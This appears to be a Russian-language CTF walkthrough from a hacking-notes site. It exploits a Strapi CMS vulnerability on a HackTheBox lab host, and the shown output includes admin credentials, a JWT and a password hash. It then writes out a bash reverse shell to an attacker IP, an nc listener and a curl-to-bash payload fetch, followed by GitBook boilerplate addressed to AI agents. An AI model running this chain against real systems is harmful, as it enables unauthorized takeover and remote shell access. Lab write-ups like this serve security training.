> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/strapi-cms-exploitation.md).

# Strapi

### Эксплуатация RCE в Strapi CMS

Поиск уязвимости Strapi с помощью **searchsploit**:

```
searchsploit -m multiple/webapps/50239.py
```

<figure><img src="/files/bcfe6385e4e0fb9d09e4731b048a15a02db84e8d" alt=""><figcaption></figcaption></figure>

Мы используем эксплойт:

```bash
python3 50239.py http://api-prod.horet.horizontall.htb
```

<figure><img src="/files/bac2d2af36c87018c99d03ee7e50715e30bbef45" alt=""><figcaption></figcaption></figure>

Это предоставляет учетные данные администратора.

{% code overflow="wrap" %}

```javascript
[+] Ваш email: admin@horizontall.htb
[+] Ваши новые учетные данные: admin:SuperStrongPassword1 
[+] Ваш аутентифицированный JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0
```

{% endcode %}

<figure><img src="/files/f4cbf818d41e7bb770488ed848ac02594ecd9685" alt=""><figcaption></figcaption></figure>

Получите хеш пароля для вновь созданного пользователя:

* admin
* $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6

<figure><img src="/files/66e861c234fa08e8429477e4ecb8b469b17b4f9d" alt=""><figcaption></figcaption></figure>

### Получение обратной оболочки

Создайте **index.html** файл, содержащий полезную нагрузку обратной оболочки:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.75/443 0>&1
```

Запустите веб-сервер:

```bash
python3 -m http.server 8080
```

Откройте слушатель:

```bash
nc -nlvp 443
```

Затем выполните полезную нагрузку на целевой машине:

```bash
curl http://10.10.14.75:8080 | bash
```

<figure><img src="/files/1056f38e4cadd48322b517e9e752f686de2e2299" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/cms/strapi-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
